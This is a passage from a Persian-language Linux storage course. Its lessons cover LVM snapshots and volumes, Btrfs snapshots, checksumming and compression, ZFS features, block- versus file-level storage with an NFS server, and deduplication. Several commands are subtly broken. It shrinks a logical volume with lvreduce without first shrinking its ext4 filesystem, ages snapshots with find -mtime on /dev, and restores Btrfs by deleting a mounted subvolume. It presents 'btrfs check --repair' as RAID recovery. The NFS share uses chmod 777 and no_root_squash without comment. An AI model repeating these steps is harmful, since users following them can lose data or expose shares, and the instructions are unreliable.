پس از حذف، برای اطمینان از حذف شدن Snapshot، مجدداً لیست Logical Volumes را بررسی کنید:

sudo lvs

اگر Snapshot در حال استفاده باشد، ممکن است پیام خطایی دریافت کنید. در این صورت، ابتدا آن را unmount کنید:

sudo umount /mnt/my_snapshot

سپس مجدداً آن را حذف کنید.


۳. بازگردانی Snapshot به وضعیت قبلی

اگر بخواهید سیستم را به وضعیت Snapshot برگردانید، می‌توانید Snapshot را روی Logical Volume اصلی اعمال کنید. قبل از بازگردانی، اطمینان حاصل کنید که Logical Volume در حال استفاده نیست.

مراحل بازگردانی Snapshot:

  1. Unmount کردن Volume اصلی:
sudo umount /mnt/my_volume
  1. بازگردانی Snapshot به وضعیت اولیه:
sudo lvconvert --merge /dev/my_vg/my_snapshot
  1. اگر Volume در حال استفاده باشد، پس از ریبوت عملیات اعمال خواهد شد. می‌توانید با اجرای این دستور ریبوت را انجام دهید:
sudo reboot

۴. حذف خودکار Snapshots قدیمی

اگر می‌خواهید Snapshots را بعد از یک مدت مشخص حذف کنید، می‌توانید یک کران‌جاب (Cron Job) برای حذف Snapshots قدیمی تنظیم کنید. ابتدا ویرایشگر crontab را باز کنید:

sudo crontab -e

سپس دستور زیر را اضافه کنید تا هر روز Snapshots قدیمی‌تر از 7 روز حذف شوند:

find /dev/my_vg/ -name "my_snapshot*" -mtime +7 -exec lvremove -f {} \;

۵. بررسی میزان فضای استفاده‌شده توسط Snapshots

برای نظارت بر میزان فضای اشغال‌شده توسط Snapshots، می‌توان از دستور زیر استفاده کرد:

sudo lvs -a -o +snap_percent

اگر مقدار snap_percent نزدیک به 100% شود، Snapshot ممکن است نامعتبر شود و نیاز به فضای بیشتر داشته باشد.


۶. افزایش فضای Snapshot

اگر Snapshot در حال پر شدن باشد، می‌توان فضای آن را افزایش داد:

sudo lvextend -L +5G /dev/my_vg/my_snapshot

پس از افزایش اندازه، مجدداً مقدار فضای استفاده‌شده را بررسی کنید:

sudo lvs -a -o +snap_percent

جمع‌بندی

در این بخش، روش‌های مدیریت Snapshots در LVM شامل حذف، بازگردانی، بررسی فضای اشغال‌شده و افزایش حجم Snapshot بررسی شد. Snapshots یک راهکار مؤثر برای محافظت از داده‌ها و بازیابی سریع در صورت بروز مشکل است. با استفاده از دستورات مدیریت Snapshot می‌توان فضای ذخیره‌سازی را بهینه‌سازی کرده و از اشغال بیهوده فضای دیسک جلوگیری کرد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”تخصیص و استفاده از فضای ذخیره‌سازی با استفاده از LVM” subtitle=”توضیحات کامل”]LVM یکی از بهترین روش‌های مدیریت فضای ذخیره‌سازی در لینوکس است که انعطاف‌پذیری بالایی در افزایش، کاهش، تخصیص و مدیریت فضا ارائه می‌دهد. با استفاده از LVM، می‌توان فضای ذخیره‌سازی را به‌صورت پویا مدیریت کرده و بدون نیاز به تغییرات پیچیده، پارتیشن‌ها را گسترش یا کاهش داد.

در این بخش، مراحل تخصیص و استفاده از فضای ذخیره‌سازی با LVM به‌صورت عملی بررسی خواهد شد.


۱. بررسی دیسک‌های موجود برای استفاده در LVM

قبل از شروع، لیست دیسک‌های متصل را بررسی کنید:

sudo fdisk -l

همچنین می‌توانید از دستور زیر برای بررسی دیسک‌های خام بدون استفاده استفاده کنید:

lsblk

۲. ایجاد Physical Volume (PV)

ابتدا دیسک‌های خام را به‌عنوان Physical Volume (PV) برای استفاده در LVM تنظیم کنید. فرض کنیم دیسک /dev/sdb را برای این کار در نظر گرفته‌ایم:

sudo pvcreate /dev/sdb

برای تأیید ایجاد شدن Physical Volume، از دستور زیر استفاده کنید:

sudo pvs

۳. ایجاد Volume Group (VG)

حالا باید یک Volume Group (VG) ایجاد کنیم تا بتوانیم از Physical Volume استفاده کنیم. نام VG را my_vg در نظر می‌گیریم:

sudo vgcreate my_vg /dev/sdb

برای بررسی ایجاد شدن Volume Group، از دستور زیر استفاده کنید:

sudo vgs

۴. ایجاد Logical Volume (LV)

بعد از ایجاد Volume Group، می‌توانیم یک Logical Volume (LV) در آن ایجاد کنیم. فرض کنیم می‌خواهیم یک LV با اندازه 20 گیگابایت ایجاد کنیم:

sudo lvcreate -L 20G -n my_lv my_vg

برای بررسی ایجاد شدن Logical Volume، از دستور زیر استفاده کنید:

sudo lvs

۵. فرمت کردن Logical Volume

قبل از استفاده از Logical Volume، باید آن را فرمت کنیم. به‌عنوان مثال، برای فرمت کردن LV با سیستم فایل ext4، دستور زیر را اجرا کنید:

sudo mkfs.ext4 /dev/my_vg/my_lv

۶. مانت کردن Logical Volume

برای استفاده از Logical Volume، باید آن را در یک دایرکتوری خاص مانت کنیم. به‌عنوان مثال، اگر می‌خواهید آن را در مسیر /mnt/my_storage مانت کنید، مراحل زیر را انجام دهید:

sudo mkdir -p /mnt/my_storage
sudo mount /dev/my_vg/my_lv /mnt/my_storage

برای بررسی اینکه LV به‌درستی مانت شده است، دستور زیر را اجرا کنید:

df -h

۷. تنظیم مانت دائمی در فایل fstab

اگر می‌خواهید Logical Volume پس از هر ری‌استارت سیستم نیز به‌صورت خودکار مانت شود، باید مسیر آن را در فایل /etc/fstab اضافه کنید. ابتدا UUID مربوط به LV را دریافت کنید:

sudo blkid /dev/my_vg/my_lv

سپس مقدار UUID را در فایل /etc/fstab اضافه کنید:

sudo nano /etc/fstab

و خط زیر را به انتهای فایل اضافه کنید:

UUID=your-uuid-value  /mnt/my_storage  ext4  defaults  0  2

بعد از ذخیره و خروج، برای اعمال تغییرات بدون ری‌استارت، دستور زیر را اجرا کنید:

sudo mount -a

۸. افزایش اندازه Logical Volume

اگر نیاز به افزایش فضای Logical Volume داشتید، ابتدا اندازه‌ی آن را افزایش دهید. فرض کنیم می‌خواهیم فضای آن را 10 گیگابایت بیشتر کنیم:

sudo lvextend -L +10G /dev/my_vg/my_lv

سپس سیستم فایل را نیز برای استفاده از فضای جدید گسترش دهید:

sudo resize2fs /dev/my_vg/my_lv

۹. کاهش اندازه Logical Volume

کاهش اندازه LV نیازمند Unmount کردن آن است. ابتدا LV را Unmount کنید:

sudo umount /mnt/my_storage

سپس اندازه را کاهش دهید (مثلاً به 15 گیگابایت):

sudo lvreduce -L 15G /dev/my_vg/my_lv

پس از کاهش اندازه، مجدداً آن را مانت کنید:

sudo mount /dev/my_vg/my_lv /mnt/my_storage

۱۰. حذف Logical Volume

برای حذف یک Logical Volume ابتدا آن را Unmount کنید:

sudo umount /mnt/my_storage

سپس آن را حذف کنید:

sudo lvremove /dev/my_vg/my_lv

جمع‌بندی

در این بخش، نحوه ایجاد، مدیریت و استفاده از فضای ذخیره‌سازی با LVM بررسی شد. این فرآیند شامل مراحل زیر بود:

  • ایجاد Physical Volume (PV)
  • ایجاد Volume Group (VG)
  • ایجاد Logical Volume (LV)
  • فرمت و مانت کردن LV
  • افزودن به /etc/fstab برای مانت دائمی
  • افزایش و کاهش اندازه LV
  • حذف Logical Volume

مدیریت LVM به مدیران سیستم امکان می‌دهد تا انعطاف‌پذیری بالایی در تخصیص فضا داشته باشند و به‌راحتی تغییرات لازم را در حجم‌های منطقی ایجاد کنند.[/cdb_course_lesson][cdb_course_lesson title=”فصل 2. سیستم فایل‌های پیشرفته”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”Btrfs: ویژگی‌ها و کاربردها” subtitle=”توضیحات کامل”]Btrfs (B-Tree File System) یک سیستم فایل پیشرفته برای لینوکس است که ویژگی‌های قدرتمندی مانند نسخه‌سازی (Snapshot)، چک کردن یکپارچگی داده‌ها (Checksumming) و ذخیره‌سازی فشرده (Compression) را ارائه می‌دهد. این ویژگی‌ها Btrfs را به گزینه‌ای مناسب برای سرورها، سیستم‌های ذخیره‌سازی بزرگ و محیط‌های مجازی تبدیل کرده است.

در این بخش، این ویژگی‌ها را بررسی کرده و نحوه استفاده عملی از آن‌ها را توضیح خواهیم داد.


۱. ویژگی نسخه‌سازی (Snapshots) در Btrfs

یکی از مهم‌ترین ویژگی‌های Btrfs قابلیت Snapshots است که به شما اجازه می‌دهد از یک سیستم فایل در یک لحظه مشخص یک نسخه غیرمستقیم و سریع بگیرید. این ویژگی به ویژه برای بازیابی اطلاعات، مدیریت تغییرات و محیط‌های آزمایشی کاربرد دارد.

۱.۱ ایجاد یک Snapshot

فرض کنید یک سیستم فایل Btrfs در مسیر /mnt/btrfs داریم و می‌خواهیم از آن یک Snapshot بگیریم:

sudo btrfs subvolume snapshot /mnt/btrfs /mnt/btrfs_backup
۱.۲ لیست کردن Snapshots موجود

برای مشاهده لیست Snapshots ایجادشده:

sudo btrfs subvolume list /mnt/btrfs
۱.۳ بازگردانی Snapshot به حالت اولیه

برای بازگرداندن Snapshot، می‌توان آن را Mount کرد یا مستقیماً جایگزین کرد. اگر بخواهید آن را جایگزین نسخه اصلی کنید:

sudo btrfs subvolume delete /mnt/btrfs
sudo mv /mnt/btrfs_backup /mnt/btrfs
۱.۴ حذف یک Snapshot
sudo btrfs subvolume delete /mnt/btrfs_backup

۲. بررسی یکپارچگی داده‌ها (Checksumming)

یکی از مزیت‌های Btrfs استفاده از Checksumming برای جلوگیری از خرابی داده‌ها است. این ویژگی به کمک الگوریتم CRC32C بررسی می‌کند که داده‌های ذخیره‌شده دچار خطا نشده باشند.

۲.۱ بررسی سلامت داده‌ها

برای بررسی یکپارچگی داده‌های ذخیره‌شده در سیستم فایل Btrfs:

sudo btrfs scrub start /mnt/btrfs

برای مشاهده وضعیت Scrubbing:

sudo btrfs scrub status /mnt/btrfs
۲.۲ بازیابی داده‌های خراب‌شده

اگر سیستم فایل روی RAID 1 یا RAID 5/6 تنظیم شده باشد، Btrfs می‌تواند داده‌های خراب را از نسخه‌های سالم بازیابی کند:

sudo btrfs check --repair /dev/sdX

توجه: گزینه --repair ممکن است داده‌های خراب را حذف کند، بنابراین قبل از اجرای این دستور یک Backup تهیه کنید.


۳. ذخیره‌سازی فشرده (Compression)

یکی دیگر از ویژگی‌های کاربردی Btrfs امکان فشرده‌سازی داخلی داده‌ها است که باعث صرفه‌جویی در فضای ذخیره‌سازی و افزایش سرعت خواندن و نوشتن داده‌ها می‌شود.

۳.۱ فعال‌سازی فشرده‌سازی هنگام Mount کردن

می‌توان Btrfs را به گونه‌ای پیکربندی کرد که هنگام Mount شدن به‌طور خودکار داده‌ها را فشرده کند. برای این کار، مقدار compress=zstd را در فایل /etc/fstab اضافه کنید:

/dev/sdX /mnt/btrfs btrfs defaults,compress=zstd 0 0

سپس تغییرات را با اجرای دستور زیر اعمال کنید:

sudo mount -o remount /mnt/btrfs
۳.۲ فشرده‌سازی داده‌های موجود

اگر بخواهید داده‌های قبلی را نیز فشرده کنید، می‌توانید از دستور زیر استفاده کنید:

sudo btrfs filesystem defrag -r -v -czstd /mnt/btrfs
۳.۳ بررسی میزان فشرده‌سازی و فضای آزاد‌شده

برای مشاهده میزان فشرده‌سازی و صرفه‌جویی در فضا:

sudo btrfs filesystem df /mnt/btrfs

جمع‌بندی

در این بخش، سه ویژگی کلیدی Btrfs بررسی شد:

  • Snapshots که امکان ایجاد نسخه‌های سریع از داده‌ها را فراهم می‌کند.
  • Checksumming که از صحت داده‌ها محافظت کرده و قابلیت Scrubbing و Repair دارد.
  • Compression که با کاهش فضای مصرفی، عملکرد سیستم را بهبود می‌بخشد.

این قابلیت‌ها Btrfs را به یک سیستم فایل ایده‌آل برای محیط‌های سروری، مجازی‌سازی و ذخیره‌سازی پیشرفته تبدیل می‌کند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”نحوه پیکربندی و استفاده از Btrfs” subtitle=”توضیحات کامل”]Btrfs یک سیستم فایل پیشرفته برای لینوکس است که امکاناتی مانند مدیریت حجم پویا، Snapshots، RAID، فشرده‌سازی داده‌ها و بررسی یکپارچگی اطلاعات را ارائه می‌دهد. در این بخش، نحوه ایجاد، پیکربندی و مدیریت Btrfs را با مثال‌های عملی بررسی خواهیم کرد.


۱. ایجاد و پیکربندی سیستم فایل Btrfs

۱.۱ نصب ابزارهای Btrfs

در صورتی که ابزارهای مدیریتی Btrfs نصب نیستند، می‌توانید آن‌ها را نصب کنید:

در Debian/Ubuntu:

sudo apt update
sudo apt install btrfs-progs -y

در CentOS/RHEL:

sudo yum install btrfs-progs -y
۱.۲ ایجاد یک سیستم فایل Btrfs روی یک پارتیشن

برای فرمت کردن یک پارتیشن با Btrfs، از دستور زیر استفاده کنید:

sudo mkfs.btrfs /dev/sdX

اگر بخواهید نام Label برای سیستم فایل مشخص کنید:

sudo mkfs.btrfs -L MyBtrfsVolume /dev/sdX
۱.۳ مانت کردن سیستم فایل Btrfs

ابتدا یک دایرکتوری برای Mount Point ایجاد کنید:

sudo mkdir -p /mnt/btrfs

سپس سیستم فایل را مانت کنید:

sudo mount /dev/sdX /mnt/btrfs
۱.۴ اضافه کردن به /etc/fstab برای مانت خودکار

برای اینکه این پارتیشن در هنگام بوت به‌طور خودکار مانت شود، آن را به فایل /etc/fstab اضافه کنید:

echo "/dev/sdX /mnt/btrfs btrfs defaults 0 0" | sudo tee -a /etc/fstab

۲. مدیریت حجم‌های Btrfs

۲.۱ افزودن چندین دیسک به یک Volume Btrfs

اگر بخواهید چندین دیسک را به‌صورت یکپارچه مدیریت کنید، می‌توانید هنگام ایجاد سیستم فایل آن‌ها را مشخص کنید:

sudo mkfs.btrfs -d single -m single /dev/sdX /dev/sdY /dev/sdZ
۲.۲ افزودن دیسک جدید به سیستم فایل موجود
sudo btrfs device add /dev/sdY /mnt/btrfs
۲.۳ مشاهده اطلاعات دیسک‌های متصل به Btrfs
sudo btrfs filesystem show /mnt/btrfs
۲.۴ حذف یک دیسک از سیستم فایل Btrfs
sudo btrfs device delete /dev/sdY /mnt/btrfs

۳. استفاده از Snapshots در Btrfs

۳.۱ ایجاد Snapshot از یک Subvolume
sudo btrfs subvolume snapshot /mnt/btrfs /mnt/btrfs_backup
۳.۲ مشاهده لیست Snapshots
sudo btrfs subvolume list /mnt/btrfs
۳.۳ بازگردانی Snapshot
sudo btrfs subvolume delete /mnt/btrfs
sudo mv /mnt/btrfs_backup /mnt/btrfs
۳.۴ حذف Snapshot
sudo btrfs subvolume delete /mnt/btrfs_backup

۴. بررسی و بهینه‌سازی سیستم فایل Btrfs

۴.۱ بررسی سلامت فایل سیستم Btrfs
sudo btrfs check /dev/sdX
۴.۲ اجرای Scrub برای بررسی و اصلاح خطاها
sudo btrfs scrub start /mnt/btrfs
sudo btrfs scrub status /mnt/btrfs
۴.۳ متعادل‌سازی (Balance) فضای ذخیره‌سازی
sudo btrfs balance start /mnt/btrfs

۵. فشرده‌سازی داده‌ها در Btrfs

۵.۱ فعال‌سازی فشرده‌سازی هنگام مانت شدن

در فایل /etc/fstab گزینه compress=zstd را اضافه کنید:

/dev/sdX /mnt/btrfs btrfs defaults,compress=zstd 0 0
۵.۲ فشرده‌سازی داده‌های موجود
sudo btrfs filesystem defrag -r -v -czstd /mnt/btrfs
۵.۳ بررسی میزان فشرده‌سازی
sudo btrfs filesystem df /mnt/btrfs

جمع‌بندی

در این بخش، نحوه پیکربندی و استفاده از Btrfs را بررسی کردیم. این موارد شامل:

  • نصب و ایجاد سیستم فایل Btrfs
  • مدیریت حجم‌ها و اضافه کردن دیسک‌ها
  • ایجاد و بازیابی Snapshots
  • بررسی سلامت فایل سیستم و اجرای Scrub
  • فعال‌سازی و بررسی فشرده‌سازی داده‌ها

Btrfs یک گزینه مناسب برای محیط‌های سروری، ذخیره‌سازی داده‌های حجیم و سیستم‌های فایل مدرن است که امکانات مدیریتی قدرتمندی را ارائه می‌دهد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”ZFS: ویژگی‌ها و کاربردها” subtitle=”توضیحات کامل”]ZFS (Zettabyte File System) یک سیستم فایل پیشرفته و مدیر حجم منطقی (Volume Manager) است که ابتدا توسط Sun Microsystems توسعه داده شد و اکنون در لینوکس، FreeBSD و Solaris استفاده می‌شود. این سیستم فایل ترکیبی از مدیریت ذخیره‌سازی، حفاظت از داده‌ها، فشرده‌سازی، Snapshots، RAID و کشینگ هوشمند را ارائه می‌دهد.

در این بخش، ویژگی‌های کلیدی ZFS و کاربردهای آن را بررسی خواهیم کرد.


۱. ویژگی‌های کلیدی ZFS

۱.۱ مدیریت حجم یکپارچه (Pooled Storage)

برخلاف سیستم‌های فایل سنتی که بر اساس پارتیشن‌ها عمل می‌کنند، ZFS از Storage Pools استفاده می‌کند. در ZFS، دیسک‌ها در یک استخر ذخیره‌سازی (Zpool) ترکیب می‌شوند و فضای ذخیره‌سازی به‌صورت پویا تخصیص داده می‌شود.

۱.۲ جلوگیری از خرابی داده‌ها (Data Integrity)

ZFS به‌صورت خودکار CheckSum را برای هر بلاک داده ذخیره می‌کند و هنگام خواندن داده‌ها، صحت آن را بررسی می‌کند. اگر خرابی تشخیص داده شود، ZFS نسخه سالم داده را بازیابی می‌کند.

۱.۳ Snapshots و Clones

ZFS از Snapshots پشتیبانی می‌کند که نسخه‌ای از فایل سیستم را در یک لحظه مشخص ثبت می‌کند. همچنین، می‌توان Clones ایجاد کرد که مانند Snapshot است، اما قابل ویرایش می‌باشد.

۱.۴ فشرده‌سازی داخلی (Compression)

ZFS دارای فشرده‌سازی داخلی برای کاهش حجم داده‌های ذخیره‌شده است که عملکرد سیستم را بهبود می‌بخشد.

۱.۵ پشتیبانی از RAID-Z

ZFS از RAID-Z پشتیبانی می‌کند که مشابه RAID 5 است، اما بدون مشکل Write Hole، که در RAID سنتی باعث از دست رفتن داده‌ها می‌شود.

۱.۶ کشینگ هوشمند (ARC & L2ARC)

ZFS دارای سیستم Adaptive Replacement Cache (ARC) است که داده‌های پرکاربرد را در RAM نگه می‌دارد. همچنین، از L2ARC برای کشینگ روی SSD پشتیبانی می‌کند.

۱.۷ Deduplication (حذف داده‌های تکراری)

ZFS دارای Deduplication است که از ذخیره داده‌های تکراری جلوگیری کرده و فضای مصرفی را کاهش می‌دهد.


۲. کاربردهای ZFS

۲.۱ سرورهای ذخیره‌سازی (NAS & SAN)

ZFS برای سرورهای ذخیره‌سازی NAS و SAN گزینه‌ای ایده‌آل است، زیرا دارای RAID-Z، کشینگ پیشرفته و حفاظت از داده‌ها است.

۲.۲ پشتیبان‌گیری و بازیابی داده‌ها

به دلیل پشتیبانی از Snapshots و Replication، ZFS برای سیستم‌های بکاپ‌گیری استفاده می‌شود.

۲.۳ دیتابیس‌ها و سرورهای پردازشی

ZFS با پشتیبانی از Deduplication و کشینگ پیشرفته برای سرورهای دیتابیس و محیط‌های پردازشی مانند Big Data و Machine Learning مناسب است.

۲.۴ سیستم‌های مجازی‌سازی (VM و Docker)

ZFS به‌دلیل Snapshots سریع، Clones و Thin Provisioning، در محیط‌های VMware، KVM و Docker استفاده می‌شود.


جمع‌بندی

در این بخش، ویژگی‌ها و کاربردهای ZFS را بررسی کردیم. ZFS یک سیستم فایل پیشرفته و مدیر حجم منطقی است که امکاناتی مانند Snapshots، کشینگ هوشمند، RAID-Z، Deduplication و فشرده‌سازی داخلی را ارائه می‌دهد. این ویژگی‌ها باعث شده است که ZFS گزینه‌ای ایده‌آل برای سرورها، سیستم‌های پشتیبان‌گیری و محیط‌های پردازشی سنگین باشد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”مدیریت ذخیره‌سازی در سطح بلوک و فایل” subtitle=”توضیحات کامل”]مدیریت ذخیره‌سازی داده‌ها در سیستم‌های کامپیوتری به دو روش اصلی انجام می‌شود: سطح بلوک (Block-Level Storage) و سطح فایل (File-Level Storage). هر یک از این روش‌ها ویژگی‌های خاص خود را دارند و در کاربردهای مختلف مورد استفاده قرار می‌گیرند. در این بخش، این دو روش را به‌صورت کامل بررسی خواهیم کرد.


۱. مدیریت ذخیره‌سازی در سطح بلوک (Block-Level Storage)

۱.۱ تعریف و عملکرد

در ذخیره‌سازی سطح بلوک، داده‌ها در قالب بلوک‌های خام بر روی دیسک ذخیره می‌شوند. سیستم‌عامل این بلوک‌ها را مدیریت کرده و آنها را به فایل‌های منطقی تبدیل می‌کند. این نوع ذخیره‌سازی بیشتر در SAN (Storage Area Network) و دیتابیس‌ها استفاده می‌شود.

۱.۲ ویژگی‌های اصلی
  • انعطاف‌پذیری بالا: هر بلوک می‌تواند به‌طور مستقل مدیریت و ویرایش شود.
  • سرعت بالا: به دلیل دسترسی مستقیم به بلوک‌های داده، سرعت خواندن/نوشتن بالا است.
  • پشتیبانی از فرمت‌های مختلف: می‌توان روی آن سیستم فایل‌های مختلفی مانند ext4، XFS یا NTFS پیاده‌سازی کرد.
  • پشتیبانی از مجازی‌سازی: برای ذخیره‌سازی ماشین‌های مجازی ایده‌آل است.
۱.۳ کاربردها
  • پایگاه‌های داده: به دلیل عملکرد سریع و دسترسی مستقیم به بلوک‌ها.
  • سرورهای ایمیل و اپلیکیشن‌های حیاتی: نیازمند تأخیر کم و پردازش سریع داده.
  • سیستم‌های مجازی‌سازی: مانند VMware و KVM برای ذخیره‌سازی دیسک‌های ماشین‌های مجازی.
۱.۴ نحوه پیکربندی ذخیره‌سازی در سطح بلوک در لینوکس

برای ایجاد یک LVM Block Storage در لینوکس، مراحل زیر را طی می‌کنیم:

۱.۴.۱ ایجاد یک پارتیشن و تخصیص آن به LVM
fdisk /dev/sdb

سپس گزینه‌های زیر را وارد کنید:

  • n → ایجاد پارتیشن جدید
  • t → تغییر نوع پارتیشن به 8e (LVM)
  • w → ذخیره تغییرات
۱.۴.۲ ایجاد Physical Volume
pvcreate /dev/sdb1
۱.۴.۳ ایجاد Volume Group
vgcreate vg_storage /dev/sdb1
۱.۴.۴ ایجاد Logical Volume
lvcreate -L 10G -n lv_block vg_storage
۱.۴.۵ فرمت و مونت کردن پارتیشن
mkfs.ext4 /dev/vg_storage/lv_block
mkdir /mnt/block_storage
mount /dev/vg_storage/lv_block /mnt/block_storage

مسیر فایل کانفیگ: /etc/fstab
برای اتصال دائمی، خط زیر را اضافه کنید:

/dev/vg_storage/lv_block /mnt/block_storage ext4 defaults 0 2

۲. مدیریت ذخیره‌سازی در سطح فایل (File-Level Storage)

۲.۱ تعریف و عملکرد

در ذخیره‌سازی سطح فایل، داده‌ها در قالب فایل و دایرکتوری ذخیره می‌شوند. این روش در NAS (Network Attached Storage) و سیستم‌های اشتراک‌گذاری فایل مانند NFS و SMB استفاده می‌شود.

۲.۲ ویژگی‌های اصلی
  • مدیریت ساده: نیازی به پارتیشن‌بندی پیچیده نیست.
  • دسترسی چندگانه: چندین کاربر می‌توانند همزمان به فایل‌ها دسترسی داشته باشند.
  • پشتیبانی از مجوزها: امکان تنظیم مجوزهای دسترسی بر اساس مالک، گروه و دیگر کاربران.
  • نیازمند Overhead بیشتر: به دلیل متادیتای فایل‌ها، ممکن است کارایی کمتری نسبت به ذخیره‌سازی سطح بلوک داشته باشد.
۲.۳ کاربردها
  • سرورهای اشتراک‌گذاری فایل: مانند NFS و SMB برای به اشتراک گذاشتن فایل‌ها.
  • سرورهای وب و اپلیکیشن: که فایل‌های استاتیک را ذخیره و مدیریت می‌کنند.
  • سیستم‌های بکاپ و آرشیو: برای ذخیره‌سازی نسخه‌های بکاپ.
۲.۴ نحوه پیکربندی ذخیره‌سازی در سطح فایل در لینوکس

برای پیکربندی یک NFS Server، مراحل زیر را دنبال کنید:

۲.۴.۱ نصب NFS Server
apt update && apt install nfs-kernel-server -y  # در Debian/Ubuntu
yum install nfs-utils -y  # در CentOS/RHEL
۲.۴.۲ ایجاد دایرکتوری اشتراک‌گذاری
mkdir -p /mnt/file_storage
chmod 777 /mnt/file_storage
۲.۴.۳ تنظیم دسترسی‌ها در فایل /etc/exports
echo "/mnt/file_storage 192.168.1.0/24(rw,sync,no_root_squash)" >> /etc/exports
۲.۴.۴ راه‌اندازی سرویس NFS
exportfs -a
systemctl restart nfs-server
۲.۴.۵ دسترسی کلاینت به سرور NFS

روی کلاینت، دایرکتوری NFS را مونت کنید:

mount -t nfs 192.168.1.100:/mnt/file_storage /mnt/nfs_client

جمع‌بندی

ذخیره‌سازی سطح بلوک و ذخیره‌سازی سطح فایل هر دو دارای کاربردهای خاص خود هستند.

  • ذخیره‌سازی سطح بلوک برای پایگاه‌های داده، سرورهای مجازی و اپلیکیشن‌های با کارایی بالا ایده‌آل است.
  • ذخیره‌سازی سطح فایل برای اشتراک‌گذاری داده‌ها در شبکه، سرورهای وب و آرشیو داده‌ها استفاده می‌شود.

هر دو روش را می‌توان با استفاده از LVM، NFS و سایر ابزارهای مدیریتی در لینوکس پیاده‌سازی کرد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”قابلیت‌های Deduplication و Compression در مدیریت ذخیره‌سازی” subtitle=”توضیحات کامل”]در سیستم‌های ذخیره‌سازی مدرن، بهینه‌سازی فضای ذخیره‌سازی یکی از مهم‌ترین چالش‌ها محسوب می‌شود. دو تکنیک مهم برای بهینه‌سازی Deduplication (حذف داده‌های تکراری) و Compression (فشرده‌سازی داده‌ها) هستند. این دو قابلیت به کاهش استفاده از فضای ذخیره‌سازی، افزایش کارایی و کاهش هزینه‌های زیرساخت کمک می‌کنند.


۱. Deduplication: حذف داده‌های تکراری

۱.۱ تعریف Deduplication

Deduplication فرآیندی است که داده‌های تکراری را حذف کرده و تنها یک نسخه از داده ذخیره می‌شود. این تکنیک باعث کاهش میزان فضای مورد نیاز برای ذخیره‌سازی می‌شود، خصوصاً در محیط‌هایی که داده‌های مشابه بارها ذخیره می‌شوند، مانند:

  • بکاپ‌های تکراری
  • ایمیل‌های دارای پیوست‌های مشابه
  • ماشین‌های مجازی که سیستم‌عامل یکسان دارند
۱.۲ انواع Deduplication
  1. Deduplication در سطح فایل (File-Level Deduplication)
    • بررسی می‌کند که آیا فایل‌های ذخیره‌شده قبلاً وجود دارند یا نه.
    • اگر فایل مشابهی یافت شود، به‌جای ایجاد یک کپی جدید، یک لینک به فایل اصلی ایجاد می‌شود.
  2. Deduplication در سطح بلوک (Block-Level Deduplication)
    • داده‌ها را در سطح بلوک‌های کوچک‌تر بررسی می‌کند.
    • بلوک‌های یکسان حذف شده و فقط یک نسخه ذخیره می‌شود.
  3. Deduplication در سطح بایت (Byte-Level Deduplication)
    • دقیق‌ترین روش که داده‌ها را در سطح بایت بررسی می‌کند.
۱.۳ مزایای Deduplication
  • کاهش میزان فضای ذخیره‌سازی مصرف‌شده
  • کاهش هزینه‌های ذخیره‌سازی و نیاز به هاردهای بیشتر
  • افزایش کارایی در عملیات بکاپ و بازیابی
۱.۴ پیاده‌سازی Deduplication در ZFS

ZFS به‌صورت داخلی از Deduplication در سطح بلوک پشتیبانی می‌کند. برای فعال‌سازی آن:

۱.۴.۱ ایجاد یک ZFS Pool و فعال‌سازی Deduplication
zpool create -f zpool1 /dev/sdb
zfs set dedup=on zpool1
۱.۴.۲ بررسی وضعیت Deduplication
zpool list
zfs get dedup zpool1
۱.۴.۳ غیرفعال کردن Deduplication
zfs set dedup=off zpool1

مسیر فایل تنظیمات: /etc/zfs/zpool.cache


۲. Compression: فشرده‌سازی داده‌ها

۲.۱ تعریف Compression

فشرده‌سازی (Compression) فرآیندی است که داده‌ها را به فرمتی کوچک‌تر تبدیل کرده تا فضای کمتری اشغال کنند. این تکنیک باعث بهبود عملکرد ذخیره‌سازی و کاهش فضای اشغال‌شده توسط داده‌ها می‌شود.

۲.۲ انواع فشرده‌سازی
  1. فشرده‌سازی آنلاین (Inline Compression)
    • داده‌ها قبل از ذخیره‌شدن، به‌صورت خودکار فشرده می‌شوند.
    • معمولاً در فایل‌سیستم‌هایی مانند Btrfs، ZFS و NTFS پیاده‌سازی می‌شود.
  2. فشرده‌سازی آفلاین (Post-Processing Compression)
    • داده‌ها ابتدا ذخیره‌شده و سپس در یک فرآیند جداگانه فشرده می‌شوند.
۲.۳ مزایای Compression
  • کاهش فضای مورد نیاز برای ذخیره‌سازی
  • افزایش سرعت انتقال داده در شبکه
  • بهبود کارایی در ذخیره‌سازی داده‌های تکراری
۲.۴ پیاده‌سازی Compression در ZFS

ZFS قابلیت فشرده‌سازی داخلی دارد که می‌توان آن را روی ZFS Pool فعال کرد.

۲.۴.۱ فعال‌سازی فشرده‌سازی در ZFS
zfs set compression=lz4 zpool1
۲.۴.۲ بررسی وضعیت فشرده‌سازی
zfs get compression zpool1
۲.۴.۳ غیرفعال کردن فشرده‌سازی
zfs set compression=off zpool1

۳. ترکیب Deduplication و Compression

در بسیاری از سیستم‌ها، Deduplication و Compression به‌صورت ترکیبی استفاده می‌شوند. برای مثال:

  • Deduplication ابتدا داده‌های تکراری را حذف می‌کند.
  • Compression داده‌های باقی‌مانده را فشرده می‌کند.

این ترکیب باعث حداکثر بهینه‌سازی در مصرف فضای ذخیره‌سازی می‌شود.

۳.۱ فعال‌سازی همزمان Deduplication و Compression در ZFS
zfs set dedup=on compression=lz4 zpool1
۳.۲ بررسی وضعیت
zfs get dedup,compression zpool1

جمع‌بندی

  • Deduplication داده‌های تکراری را حذف کرده و باعث کاهش مصرف فضای ذخیره‌سازی می‌شود.
  • Compression داده‌ها را فشرده کرده و باعث کاهش حجم فایل‌ها و افزایش سرعت انتقال می‌شود.
  • ترکیب این دو روش در فایل‌سیستم‌هایی مانند ZFS می‌تواند بهینه‌ترین استفاده از فضای ذخیره‌سازی را ارائه دهد.
  • ZFS و Btrfs دو سیستم فایل محبوب هستند که از این قابلیت‌ها پشتیبانی می‌کنند و می‌توان آنها را از طریق تنظیمات CLI فعال کرد.

